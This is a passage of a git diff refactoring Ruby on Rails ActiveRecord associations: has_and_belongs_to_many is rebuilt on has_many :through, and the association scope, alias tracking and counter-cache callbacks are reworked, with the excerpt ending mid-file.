@@ -1334,9 +1346,6 @@ module ActiveRecord
# Does the same as <tt>create_association</tt>, but raises <tt>ActiveRecord::RecordInvalid</tt>
# if the record is invalid.
#
- # (+association+ is replaced with the symbol passed as the first argument, so
- # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.)
- #
# === Example
#
# A Post class declares <tt>belongs_to :author</tt>, which will add:
@@ -1420,7 +1429,8 @@ module ActiveRecord
# belongs_to :company, touch: true
# belongs_to :company, touch: :employees_last_updated_at
def belongs_to(name, scope = nil, options = {})
- Builder::BelongsTo.build(self, name, scope, options)
+ reflection = Builder::BelongsTo.build(self, name, scope, options)
+ Reflection.add_reflection self, name, reflection
end
# Specifies a many-to-many relationship with another class. This associates two classes via an
@@ -1455,6 +1465,9 @@ module ActiveRecord
#
# Adds the following methods for retrieval and query:
#
+ # +collection+ is a placeholder for the symbol passed as the first argument, so
+ # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.
+ #
# [collection(force_reload = false)]
# Returns an array of all the associated objects.
# An empty array is returned if none are found.
@@ -1496,9 +1509,6 @@ module ActiveRecord
# with +attributes+, linked to this object through the join table, and that has already been
# saved (if it passed the validation).
#
- # (+collection+ is replaced with the symbol passed as the first argument, so
- # <tt>has_and_belongs_to_many :categories</tt> would add among others <tt>categories.empty?</tt>.)
- #
# === Example
#
# A Developer class declares <tt>has_and_belongs_to_many :projects</tt>, which will add:
@@ -1557,7 +1567,39 @@ module ActiveRecord
# has_and_belongs_to_many :categories, join_table: "prods_cats"
# has_and_belongs_to_many :categories, -> { readonly }
def has_and_belongs_to_many(name, scope = nil, options = {}, &extension)
- Builder::HasAndBelongsToMany.build(self, name, scope, options, &extension)
+ if scope.is_a?(Hash)
+ options = scope
+ scope = nil
+ end
+
+ builder = Builder::HasAndBelongsToMany.new name, self, options
+
+ join_model = builder.through_model
+
+ middle_reflection = builder.middle_reflection join_model
+
+ Builder::HasMany.define_callbacks self, middle_reflection
+ Reflection.add_reflection self, middle_reflection.name, middle_reflection
+
+ include Module.new {
+ class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def destroy_associations
+ association(:#{middle_reflection.name}).delete_all(:delete_all)
+ association(:#{name}).reset
+ super
+ end
+ RUBY
+ }
+
+ hm_options = {}
+ hm_options[:through] = middle_reflection.name
+ hm_options[:source] = join_model.right_reflection.name
+
+ [:before_add, :after_add, :before_remove, :after_remove, :autosave, :validate, :join_table].each do |k|
+ hm_options[k] = options[k] if options.key? k
+ end
+
+ has_many name, scope, hm_options, &extension
end
end
end
diff --git a/activerecord/lib/active_record/associations/alias_tracker.rb b/activerecord/lib/active_record/associations/alias_tracker.rb
index 0c23029981..85109aee6c 100644
--- a/activerecord/lib/active_record/associations/alias_tracker.rb
+++ b/activerecord/lib/active_record/associations/alias_tracker.rb
@@ -5,16 +5,48 @@ module ActiveRecord
# Keeps track of table aliases for ActiveRecord::Associations::ClassMethods::JoinDependency and
# ActiveRecord::Associations::ThroughAssociationScope
class AliasTracker # :nodoc:
- attr_reader :aliases, :table_joins, :connection
+ attr_reader :aliases, :connection
+
+ def self.empty(connection)
+ new connection, Hash.new(0)
+ end
+
+ def self.create(connection, table_joins)
+ if table_joins.empty?
+ empty connection
+ else
+ aliases = Hash.new { |h,k|
+ h[k] = initial_count_for(connection, k, table_joins)
+ }
+ new connection, aliases
+ end
+ end
+
+ def self.initial_count_for(connection, name, table_joins)
+ # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
+ quoted_name = connection.quote_table_name(name).downcase
+
+ counts = table_joins.map do |join|
+ if join.is_a?(Arel::Nodes::StringJoin)
+ # Table names + table aliases
+ join.left.downcase.scan(
+ /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
+ ).size
+ else
+ join.left.table_name == name ? 1 : 0
+ end
+ end
+
+ counts.sum
+ end
# table_joins is an array of arel joins which might conflict with the aliases we assign here
- def initialize(connection = Base.connection, table_joins = [])
- @aliases = Hash.new { |h,k| h[k] = initial_count_for(k) }
- @table_joins = table_joins
- @connection = connection
+ def initialize(connection, aliases)
+ @aliases = aliases
+ @connection = connection
end
- def aliased_table_for(table_name, aliased_name = nil)
+ def aliased_table_for(table_name, aliased_name)
table_alias = aliased_name_for(table_name, aliased_name)
if table_alias == table_name
@@ -24,9 +56,7 @@ module ActiveRecord
end
end
- def aliased_name_for(table_name, aliased_name = nil)
- aliased_name ||= table_name
-
+ def aliased_name_for(table_name, aliased_name)
if aliases[table_name].zero?
# If it's zero, we can have our table_name
aliases[table_name] = 1
@@ -48,26 +78,6 @@ module ActiveRecord
private
- def initial_count_for(name)
- return 0 if Arel::Table === table_joins
-
- # quoted_name should be downcased as some database adapters (Oracle) return quoted name in uppercase
- quoted_name = connection.quote_table_name(name).downcase
-
- counts = table_joins.map do |join|
- if join.is_a?(Arel::Nodes::StringJoin)
- # Table names + table aliases
- join.left.downcase.scan(
- /join(?:\s+\w+)?\s+(\S+\s+)?#{quoted_name}\son/
- ).size
- else
- join.left.table_name == name ? 1 : 0
- end
- end
-
- counts.sum
- end
-
def truncate(name)
name.slice(0, connection.table_alias_length - 2)
end
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
index ee62298793..9ad2d2fb12 100644
--- a/activerecord/lib/active_record/associations/association.rb
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -13,11 +13,11 @@ module ActiveRecord
# BelongsToAssociation
# BelongsToPolymorphicAssociation
# CollectionAssociation
- # HasAndBelongsToManyAssociation
# HasManyAssociation
# HasManyThroughAssociation + ThroughAssociation
class Association #:nodoc:
attr_reader :owner, :target, :reflection
+ attr_accessor :inversed
delegate :options, :to => :reflection
@@ -43,6 +43,7 @@ module ActiveRecord
@loaded = false
@target = nil
@stale_state = nil
+ @inversed = false
end
# Reloads the \target and returns +self+ on success.
@@ -60,18 +61,19 @@ module ActiveRecord
# Asserts the \target has been loaded setting the \loaded flag to +true+.
def loaded!
- @loaded = true
+ @loaded = true
@stale_state = stale_state
+ @inversed = false
end
# The target is stale if the target no longer points to the record(s) that the
# relevant foreign_key(s) refers to. If stale, the association accessor method
# on the owner will reload the target. It's up to subclasses to implement the
- # state_state method if relevant.
+ # stale_state method if relevant.
#
# Note that if the target has not been loaded, it is not considered stale.
def stale_target?
- loaded? && @stale_state != stale_state
+ !inversed && loaded? && @stale_state != stale_state
end
# Sets the target of this association to <tt>\target</tt>, and the \loaded flag to +true+.
@@ -84,11 +86,6 @@ module ActiveRecord
target_scope.merge(association_scope)
end
- def scoped
- ActiveSupport::Deprecation.warn "#scoped is deprecated. use #scope instead."
- scope
- end
-
# The scope for this association.
#
# Note that the association_scope is merged into the target_scope only when the
@@ -97,7 +94,7 @@ module ActiveRecord
# actually gets built.
def association_scope
if klass
- @association_scope ||= AssociationScope.new(self).scope
+ @association_scope ||= AssociationScope.scope(self, klass.connection)
end
end
@@ -107,10 +104,12 @@ module ActiveRecord
# Set the inverse association, if possible
def set_inverse_instance(record)
- if record && invertible_for?(record)
+ if invertible_for?(record)
inverse = record.association(inverse_reflection_for(record).name)
inverse.target = owner
+ inverse.inversed = true
end
+ record
end
# Returns the class of the target. belongs_to polymorphic overrides this to look at the
@@ -122,11 +121,7 @@ module ActiveRecord
# Can be overridden (i.e. in ThroughAssociation) to merge in other scopes (i.e. the
# through association's scope)
def target_scope
- all = klass.all
- scope = AssociationRelation.new(klass, klass.arel_table, self)
- scope.merge! all
- scope.default_scoped = all.default_scoped?
- scope
+ AssociationRelation.create(klass, klass.arel_table, self).merge!(klass.all)
end
# Loads the \target if needed and returns it.
@@ -232,7 +227,12 @@ module ActiveRecord
# Returns true if inverse association on the given record needs to be set.
# This method is redefined by subclasses.
def invertible_for?(record)
- inverse_reflection_for(record)
+ foreign_key_for?(record) && inverse_reflection_for(record)
+ end
+
+ # Returns true if record contains the foreign_key
+ def foreign_key_for?(record)
+ record.has_attribute?(reflection.foreign_key)
end
# This should be implemented to return the values of the relevant key(s) on the owner,
diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
index f1bec5787a..f1a3b23d5a 100644
--- a/activerecord/lib/active_record/associations/association_scope.rb
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -1,64 +1,120 @@
module ActiveRecord
module Associations
class AssociationScope #:nodoc:
- include JoinHelper
+ def self.scope(association, connection)
+ INSTANCE.scope association, connection
+ end
+
+ class BindSubstitution
+ def initialize(block)
+ @block = block
+ end
+
+ def bind_value(scope, column, value, alias_tracker)
+ substitute = alias_tracker.connection.substitute_at(
+ column, scope.bind_values.length)
+ scope.bind_values += [[column, @block.call(value)]]
+ substitute
+ end
+ end
+
+ def self.create(&block)
+ block = block ? block : lambda { |val| val }
+ new BindSubstitution.new(block)
+ end
+
+ def initialize(bind_substitution)
+ @bind_substitution = bind_substitution
+ end
+
+ INSTANCE = create
- attr_reader :association, :alias_tracker
+ def scope(association, connection)
+ klass = association.klass
+ reflection = association.reflection
+ scope = klass.unscoped
+ owner = association.owner
+ alias_tracker = AliasTracker.empty connection
- delegate :klass, :owner, :reflection, :interpolate, :to => :association
- delegate :chain, :scope_chain, :options, :source_options, :active_record, :to => :reflection
+ scope.extending! Array(reflection.options[:extend])
+ add_constraints(scope, owner, klass, reflection, alias_tracker)
+ end
- def initialize(association)
- @association = association
- @alias_tracker = AliasTracker.new klass.connection
+ def join_type
+ Arel::Nodes::InnerJoin
end
- def scope
- scope = klass.unscoped
- scope.extending! Array(options[:extend])
- add_constraints(scope)
+ def self.get_bind_values(owner, chain)
+ bvs = []
+ chain.each_with_index do |reflection, i|
+ if reflection.source_macro == :belongs_to
+ foreign_key = reflection.foreign_key
+ else
+ foreign_key = reflection.active_record_primary_key
+ end
+
+ if reflection == chain.last
+ bvs << owner[foreign_key]
+
+ if reflection.type
+ bvs << owner.class.base_class.name
+ end
+ else
+ if reflection.type
+ bvs << chain[i + 1].klass.base_class.name
+ end
+ end
+ end
+ bvs
end
private
- def column_for(table_name, column_name)
+ def construct_tables(chain, klass, refl, alias_tracker)
+ chain.map do |reflection|
+ alias_tracker.aliased_table_for(
+ table_name_for(reflection, klass, refl),
+ table_alias_for(reflection, refl, reflection != refl)
+ )
+ end
+ end
+
+ def table_alias_for(reflection, refl, join = false)
+ name = "#{reflection.plural_name}_#{alias_suffix(refl)}"
+ name << "_join" if join
+ name
+ end
+
+ def join(table, constraint)
+ table.create_join(table, table.create_on(constraint), join_type)
+ end
+
+ def column_for(table_name, column_name, alias_tracker)
columns = alias_tracker.connection.schema_cache.columns_hash(table_name)
columns[column_name]
end
- def bind_value(scope, column, value)
- substitute = alias_tracker.connection.substitute_at(
- column, scope.bind_values.length)
- scope.bind_values += [[column, value]]
- substitute
+ def bind_value(scope, column, value, alias_tracker)
+ @bind_substitution.bind_value scope, column, value, alias_tracker
end
- def bind(scope, table_name, column_name, value)
- column = column_for table_name, column_name
- bind_value scope, column, value
+ def bind(scope, table_name, column_name, value, tracker)
+ column = column_for table_name, column_name, tracker
+ bind_value scope, column, value, tracker
end
- def add_constraints(scope)
- tables = construct_tables
+ def add_constraints(scope, owner, assoc_klass, refl, tracker)
+ chain = refl.chain
+ scope_chain = refl.scope_chain
+
+ tables = construct_tables(chain, assoc_klass, refl, tracker)
chain.each_with_index do |reflection, i|
table, foreign_table = tables.shift, tables.first
- if reflection.source_macro == :has_and_belongs_to_many
- join_table = tables.shift
-
- scope = scope.joins(join(
- join_table,
- table[reflection.association_primary_key].
- eq(join_table[reflection.association_foreign_key])
- ))
-
- table, foreign_table = join_table, tables.first
- end
-
if reflection.source_macro == :belongs_to
if reflection.options[:polymorphic]
- key = reflection.association_primary_key(self.klass)
+ key = reflection.association_primary_key(assoc_klass)
else
key = reflection.association_primary_key
end
@@ -70,37 +126,44 @@ module ActiveRecord
end
if reflection == chain.last
- bind_val = bind scope, table.table_name, key.to_s, owner[foreign_key]
+ bind_val = bind scope, table.table_name, key.to_s, owner[foreign_key], tracker
scope = scope.where(table[key].eq(bind_val))
if reflection.type
value = owner.class.base_class.name
- bind_val = bind scope, table.table_name, reflection.type.to_s, value
+ bind_val = bind scope, table.table_name, reflection.type.to_s, value, tracker
scope = scope.where(table[reflection.type].eq(bind_val))
end
else
constraint = table[key].eq(foreign_table[foreign_key])
if reflection.type
- type = chain[i + 1].klass.base_class.name
- constraint = constraint.and(table[reflection.type].eq(type))
+ value = chain[i + 1].klass.base_class.name
+ bind_val = bind scope, table.table_name, reflection.type.to_s, value, tracker
+ scope = scope.where(table[reflection.type].eq(bind_val))
end
scope = scope.joins(join(foreign_table, constraint))
end
+ is_first_chain = i == 0
+ klass = is_first_chain ? assoc_klass : reflection.klass
+
# Exclude the scope of the association itself, because that
# was already merged in the #scope method.
scope_chain[i].each do |scope_chain_item|
- klass = i == 0 ? self.klass : reflection.klass
- item = eval_scope(klass, scope_chain_item)
+ item = eval_scope(klass, scope_chain_item, owner)
- if scope_chain_item == self.reflection.scope
+ if scope_chain_item == refl.scope
scope.merge! item.except(:where, :includes, :bind)
end
- scope.includes! item.includes_values
+ if is_first_chain
+ scope.includes! item.includes_values
+ end
+
scope.where_values += item.where_values
+ scope.bind_values += item.bind_values
scope.order_values |= item.order_values
end
end
@@ -108,12 +171,12 @@ module ActiveRecord
scope
end
- def alias_suffix
- reflection.name
+ def alias_suffix(refl)
+ refl.name
end
- def table_name_for(reflection)
- if reflection == self.reflection
+ def table_name_for(reflection, klass, refl)
+ if reflection == refl
# If this is a polymorphic belongs_to, we want to get the klass from the
# association because it depends on the polymorphic_type attribute of
# the owner
@@ -123,7 +186,7 @@ module ActiveRecord
end
end
- def eval_scope(klass, scope)
+ def eval_scope(klass, scope, owner)
if scope.is_a?(Relation)
scope
else
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
index 8eec4f56af..1edd4fa3aa 100644
--- a/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -8,13 +8,16 @@ module ActiveRecord
end
def replace(record)
- raise_on_type_mismatch!(record) if record
-
- update_counters(record)
- replace_keys(record)
- set_inverse_instance(record)
-
- @updated = true if record
+ if record
+ raise_on_type_mismatch!(record)
+ update_counters(record)
+ replace_keys(record)
+ set_inverse_instance(record)
+ @updated = true
+ else
+ decrement_counters
+ remove_keys
+ end
self.target = record
end
@@ -28,41 +31,57 @@ module ActiveRecord
@updated
end
+ def decrement_counters # :nodoc:
+ with_cache_name { |name| decrement_counter name }
+ end
+
+ def increment_counters # :nodoc:
+ with_cache_name { |name| increment_counter name }
+ end
+
private
def find_target?
!loaded? && foreign_key_present? && klass
end
- def update_counters(record)
+ def with_cache_name
counter_cache_name = reflection.counter_cache_column
+ return unless counter_cache_name && owner.persisted?
+ yield counter_cache_name
+ end
- if counter_cache_name && owner.persisted? && different_target?(record)
- if record
- record.class.increment_counter(counter_cache_name, record.id)
- end
+ def update_counters(record)
+ with_cache_name do |name|
+ return unless different_target? record
+ record.class.increment_counter(name, record.id)
+ decrement_counter name
+ end
+ end
- if foreign_key_present?
- klass.decrement_counter(counter_cache_name, target_id)
- end
+ def decrement_counter(counter_cache_name)
+ if foreign_key_present?
+ klass.decrement_counter(counter_cache_name, target_id)
+ end
+ end
+
+ def increment_counter(counter_cache_name)
+ if foreign_key_present?
+ klass.increment_counter(counter_cache_name, target_id)
end
end
# Checks whether record is different to the current target, without loading it
def different_target?(record)
- if record.nil?
- owner[reflection.foreign_key]
- else
- record.id != owner[reflection.foreign_key]
- end
+ record.id != owner[reflection.foreign_key]
end
def replace_keys(record)
- if record
- owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
- else
- owner[reflection.foreign_key] = nil
- end
+ owner[reflection.foreign_key] = record[reflection.association_primary_key(record.class)]
+ end
+
+ def remove_keys
+ owner[reflection.foreign_key] = nil
end
def foreign_key_present?
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
index eae5eed3a1..b710cf6bdb 100644
--- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -11,7 +11,12 @@ module ActiveRecord
def replace_keys(record)
super
- owner[reflection.foreign_type] = record && record.class.base_class.name
+ owner[reflection.foreign_type] = record.class.base_class.name
+ end
+
+ def remove_keys
+ super
+ owner[reflection.foreign_type] = nil
end
def different_target?(record)
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
index 3254da4677..f085fd1cfd 100644
--- a/activerecord/lib/active_record/associations/builder/association.rb
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -1,62 +1,72 @@
+require 'active_support/core_ext/module/attribute_accessors'
+
# This is the parent Association class which defines the variables
# used by all associations.
#
# The hierarchy is defined as follows:
-# Association
+# Association
# - SingularAssociation
# - BelongsToAssociation
# - HasOneAssociation
# - CollectionAssociation
# - HasManyAssociation
-# - HasAndBelongsToManyAssociation
module ActiveRecord::Associations::Builder
class Association #:nodoc:
class << self
+ attr_accessor :extensions
+ # TODO: This class accessor is needed to make activerecord-deprecated_finders work.
+ # We can move it to a constant in 5.0.
attr_accessor :valid_options
end
+ self.extensions = []
+
+ self.valid_options = [:class_name, :class, :foreign_key, :validate]
- self.valid_options = [:class_name, :foreign_key, :validate]
+ attr_reader :name, :scope, :options
- attr_reader :model, :name, :scope, :options, :reflection
+ def self.build(model, name, scope, options, &block)
+ if model.dangerous_attribute_method?(name)
+ raise ArgumentError, "You tried to define an association named #{name} on the model #{model.name}, but " \
+ "this will conflict with a method #{name} already defined by Active Record. " \
+ "Please choose a different association name."
+ end
- def self.build(*args, &block)
- new(*args, &block).build
+ builder = create_builder model, name, scope, options, &block
+ reflection = builder.build(model)
+ define_accessors model, reflection
+ define_callbacks model, reflection
+ builder.define_extensions model
+ reflection
end
- def initialize(model, name, scope, options)
+ def self.create_builder(model, name, scope, options, &block)
raise ArgumentError, "association names must be a Symbol" unless name.kind_of?(Symbol)
- @model = model
- @name = name
+ new(model, name, scope, options, &block)
+ end
+ def initialize(model, name, scope, options)
+ # TODO: Move this to create_builder as soon we drop support to activerecord-deprecated_finders.
if scope.is_a?(Hash)
- @scope = nil
- @options = scope
- else
- @scope = scope
- @options = options
+ options = scope
+ scope = nil
end
- if @scope && @scope.arity == 0
- prev_scope = @scope
- @scope = proc { instance_exec(&prev_scope) }
- end
- end
+ # TODO: Remove this model argument as soon we drop support to activerecord-deprecated_finders.
+ @name = name
+ @scope = scope
+ @options = options
- def mixin
- @model.generated_feature_methods
- end
+ validate_options
- include Module.new { def build; end }
+ if scope && scope.arity == 0
+ @scope = proc { instance_exec(&scope) }
+ end
+ end
- def build
- validate_options
- define_accessors
- configure_dependency if options[:dependent]
- @reflection = model.create_reflection(macro, name, scope, options, model)
- super # provides an extension point
- @reflection
+ def build(model)
+ ActiveRecord::Reflection.create(macro, name, scope, options, model)
end
def macro
@@ -64,26 +74,37 @@ module ActiveRecord::Associations::Builder
end
def valid_options
- Association.valid_options
+ Association.valid_options + Association.extensions.flat_map(&:valid_options)
end
def validate_options
options.assert_valid_keys(valid_options)
end
-
+
+ def define_extensions(model)
+ end
+
+ def self.define_callbacks(model, reflection)
+ add_before_destroy_callbacks(model, reflection) if reflection.options[:dependent]
+ Association.extensions.each do |extension|
+ extension.build model, reflection
+ end
+ end
+
# Defines the setter and getter methods for the association
# class Post < ActiveRecord::Base
# has_many :comments
# end
- #
+ #
# Post.first.comments and Post.first.comments= methods are defined by this method...
-
- def define_accessors
- define_readers
- define_writers
+ def self.define_accessors(model, reflection)
+ mixin = model.generated_association_methods
+ name = reflection.name
+ define_readers(mixin, name)
+ define_writers(mixin, name)
end
- def define_readers
+ def self.define_readers(mixin, name)
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
def #{name}(*args)
association(:#{name}).reader(*args)
@@ -91,7 +112,7 @@ module ActiveRecord::Associations::Builder
CODE
end
- def define_writers
+ def self.define_writers(mixin, name)
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
def #{name}=(value)
association(:#{name}).writer(value)
@@ -99,24 +120,19 @@ module ActiveRecord::Associations::Builder
CODE
end
- def configure_dependency
- unless valid_dependent_options.include? options[:dependent]
- raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{options[:dependent]}"
- end
+ def self.valid_dependent_options
+ raise NotImplementedError
+ end
- if options[:dependent] == :restrict
- ActiveSupport::Deprecation.warn(
- "The :restrict option is deprecated. Please use :restrict_with_exception instead, which " \
- "provides the same functionality."
- )
- end
+ private
- n = name
- model.before_destroy lambda { |o| o.association(n).handle_dependency }
- end
+ def self.add_before_destroy_callbacks(model, reflection)
+ unless valid_dependent_options.include? reflection.options[:dependent]
+ raise ArgumentError, "The :dependent option must be one of #{valid_dependent_options}, but is :#{reflection.options[:dependent]}"
+ end
- def valid_dependent_options
- raise NotImplementedError
+ name = reflection.name
+ model.before_destroy lambda { |o| o.association(name).handle_dependency }
end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/belongs_to.rb b/activerecord/lib/active_record/associations/builder/belongs_to.rb
index d4e1a0dda1..47cc1f4b34 100644
--- a/activerecord/lib/active_record/associations/builder/belongs_to.rb
+++ b/activerecord/lib/active_record/associations/builder/belongs_to.rb
@@ -5,56 +5,37 @@ module ActiveRecord::Associations::Builder
end
def valid_options
- super + [:foreign_type, :polymorphic, :touch]
+ super + [:foreign_type, :polymorphic, :touch, :counter_cache]
end
- def constructable?
- !options[:polymorphic]
+ def self.valid_dependent_options
+ [:destroy, :delete]
end
- def build
- reflection = super
- add_counter_cache_callbacks(reflection) if options[:counter_cache]
- add_touch_callbacks(reflection) if options[:touch]
- reflection
+ def self.define_callbacks(model, reflection)
+ super
+ add_counter_cache_callbacks(model, reflection) if reflection.options[:counter_cache]
+ add_touch_callbacks(model, reflection) if reflection.options[:touch]
end
- def valid_dependent_options
- [:destroy, :delete]
+ def self.define_accessors(mixin, reflection)
+ super
+ add_counter_cache_methods mixin
end
private
- def add_counter_cache_methods(mixin)
- return if mixin.method_defined? :belongs_to_counter_cache_after_create
+ def self.add_counter_cache_methods(mixin)
+ return if mixin.method_defined? :belongs_to_counter_cache_after_update
mixin.class_eval do
- def belongs_to_counter_cache_after_create(association, reflection)
- if record = send(association.name)
- cache_column = reflection.counter_cache_column
- record.class.increment_counter(cache_column, record.id)
- @_after_create_counter_called = true
- end
- end
-
- def belongs_to_counter_cache_before_destroy(association, reflection)
- foreign_key = reflection.foreign_key.to_sym
- unless destroyed_by_association && destroyed_by_association.foreign_key.to_sym == foreign_key
- record = send association.name
- if record && !self.destroyed?
- cache_column = reflection.counter_cache_column
- record.class.decrement_counter(cache_column, record.id)
- end
- end
- end
-
- def belongs_to_counter_cache_after_update(association, reflection)
+ def belongs_to_counter_cache_after_update(reflection)
foreign_key = reflection.foreign_key
cache_column = reflection.counter_cache_column
if (@_after_create_counter_called ||= false)
@_after_create_counter_called = false
- elsif attribute_changed?(foreign_key) && !new_record? && association.constructable?
+ elsif attribute_changed?(foreign_key) && !new_record? && reflection.constructable?
model = reflection.klass
foreign_key_was = attribute_was foreign_key
foreign_key = attribute foreign_key
@@ -70,21 +51,11 @@ module ActiveRecord::Associations::Builder
end
end
- def add_counter_cache_callbacks(reflection)
+ def self.add_counter_cache_callbacks(model, reflection)
cache_column = reflection.counter_cache_column
- add_counter_cache_methods mixin
- association = self
-
- model.after_create lambda { |record|
- record.belongs_to_counter_cache_after_create(association, reflection)
- }
-
- model.before_destroy lambda { |record|
- record.belongs_to_counter_cache_before_destroy(association, reflection)
- }
model.after_update lambda { |record|
- record.belongs_to_counter_cache_after_update(association, reflection)
+ record.belongs_to_counter_cache_after_update(reflection)
}
klass = reflection.class_name.safe_constantize
@@ -92,10 +63,16 @@ module ActiveRecord::Associations::Builder
end
def self.touch_record(o, foreign_key, name, touch) # :nodoc:
- old_foreign_id = o.attribute_was(foreign_key)
+ old_foreign_id = o.changed_attributes[foreign_key]
if old_foreign_id
- klass = o.association(name).klass
+ association = o.association(name)
+ reflection = association.reflection
+ if reflection.polymorphic?
+ klass = o.public_send("#{reflection.foreign_type}_was").constantize
+ else
+ klass = association.klass
+ end
old_record = klass.find_by(klass.primary_key => old_foreign_id)
if old_record
@@ -108,7 +85,7 @@ module ActiveRecord::Associations::Builder
end
record = o.send name
- unless record.nil? || record.new_record?
+ if record && record.persisted?
if touch != true
record.touch touch
else
@@ -117,10 +94,10 @@ module ActiveRecord::Associations::Builder
end
end
- def add_touch_callbacks(reflection)
+ def self.add_touch_callbacks(model, reflection)
foreign_key = reflection.foreign_key
- n = name
- touch = options[:touch]
+ n = reflection.name
+ touch = reflection.options[:touch]
callback = lambda { |record|
BelongsTo.touch_record(record, foreign_key, n, touch)
diff --git a/activerecord/lib/active_record/associations/builder/collection_association.rb b/activerecord/lib/active_record/associations/builder/collection_association.rb
index 9c6690b721..bc15a49996 100644
--- a/activerecord/lib/active_record/associations/builder/collection_association.rb
+++ b/activerecord/lib/active_record/associations/builder/collection_association.rb
@@ -1,4 +1,4 @@
-# This class is inherited by the has_many and has_many_and_belongs_to_many association classes
+# This class is inherited by the has_many and has_many_and_belongs_to_many association classes
require 'active_record/associations'
@@ -8,69 +8,57 @@ module ActiveRecord::Associations::Builder
CALLBACKS = [:before_add, :after_add, :before_remove, :after_remove]
def valid_options
- super + [:table_name, :finder_sql, :counter_sql, :before_add,
+ super + [:table_name, :before_add,
:after_add, :before_remove, :after_remove, :extend]
end
- attr_reader :block_extension, :extension_module
+ attr_reader :block_extension
- def initialize(*args, &extension)
- super(*args)
- @block_extension = extension
- end
-
- def build
- show_deprecation_warnings
- wrap_block_extension
- reflection = super
- CALLBACKS.each { |callback_name| define_callback(callback_name) }
- reflection
+ def initialize(model, name, scope, options)
+ super
+ @mod = nil
+ if block_given?
+ @mod = Module.new(&Proc.new)
+ @scope = wrap_scope @scope, @mod
+ end
end
- def writable?
- true
+ def self.define_callbacks(model, reflection)
+ super
+ name = reflection.name
+ options = reflection.options
+ CALLBACKS.each { |callback_name|
+ define_callback(model, callback_name, name, options)
+ }
end
- def show_deprecation_warnings
- [:finder_sql, :counter_sql].each do |name|
- if options.include? name
- ActiveSupport::Deprecation.warn("The :#{name} association option is deprecated. Please find an alternative (such as using scopes).")
- end
+ def define_extensions(model)
+ if @mod
+ extension_module_name = "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
+ model.parent.const_set(extension_module_name, @mod)
end
end
- def wrap_block_extension
- if block_extension
- @extension_module = mod = Module.new(&block_extension)
- silence_warnings do
- model.parent.const_set(extension_module_name, mod)
- end
-
- prev_scope = @scope
+ def self.define_callback(model, callback_name, name, options)
+ full_callback_name = "#{callback_name}_for_#{name}"
- if prev_scope
- @scope = proc { |owner| instance_exec(owner, &prev_scope).extending(mod) }
+ # TODO : why do i need method_defined? I think its because of the inheritance chain
+ model.class_attribute full_callback_name unless model.method_defined?(full_callback_name)
+ callbacks = Array(options[callback_name.to_sym]).map do |callback|
+ case callback
+ when Symbol
+ ->(method, owner, record) { owner.send(callback, record) }
+ when Proc
+ ->(method, owner, record) { callback.call(owner, record) }
else
- @scope = proc { extending(mod) }
+ ->(method, owner, record) { callback.send(method, owner, record) }
end
end
- end
-
- def extension_module_name
- @extension_module_name ||= "#{model.name.demodulize}#{name.to_s.camelize}AssociationExtension"
- end
-
- def define_callback(callback_name)
- full_callback_name = "#{callback_name}_for_#{name}"
-
- # TODO : why do i need method_defined? I think its because of the inheritance chain
- model.class_attribute full_callback_name.to_sym unless model.method_defined?(full_callback_name)
- model.send("#{full_callback_name}=", Array(options[callback_name.to_sym]))
+ model.send "#{full_callback_name}=", callbacks
end
# Defines the setter and getter methods for the collection_singular_ids.
-
- def define_readers
+ def self.define_readers(mixin, name)
super
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
@@ -80,7 +68,7 @@ module ActiveRecord::Associations::Builder
CODE
end
- def define_writers
+ def self.define_writers(mixin, name)
super
mixin.class_eval <<-CODE, __FILE__, __LINE__ + 1
@@ -89,5 +77,15 @@ module ActiveRecord::Associations::Builder
end
CODE
end
+
+ private
+
+ def wrap_scope(scope, mod)
+ if scope
+ proc { |owner| instance_exec(owner, &scope).extending(mod) }
+ else
+ proc { extending(mod) }
+ end
+ end
end
end
diff --git a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
index bdac02b5bf..e472277374 100644
--- a/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
+++ b/activerecord/lib/active_record/associations/builder/has_and_belongs_to_many.rb
@@ -1,39 +1,121 @@
module ActiveRecord::Associations::Builder
- class HasAndBelongsToMany < CollectionAssociation #:nodoc:
- def macro
- :has_and_belongs_to_many
- end
+ class HasAndBelongsToMany # :nodoc:
+ class JoinTableResolver
+ KnownTable = Struct.new :join_table
+
+ class KnownClass
+ def initialize(lhs_class, rhs_class_name)
+ @lhs_class = lhs_class
+ @rhs_class_name = rhs_class_name
+ @join_table = nil
+ end
+
+ def join_table
+ @join_table ||= [@lhs_class.table_name, klass.table_name].sort.join("\0").gsub(/^(.*_)(.+)\0\1(.+)/, '\1\2_\3').gsub("\0", "_")
+ end
+
+ private
+ def klass; @rhs_class_name.constantize; end
+ end
- def valid_options
- super + [:join_table, :association_foreign_key, :delete_sql, :insert_sql]
+ def self.build(lhs_class, name, options)
+ if options[:join_table]
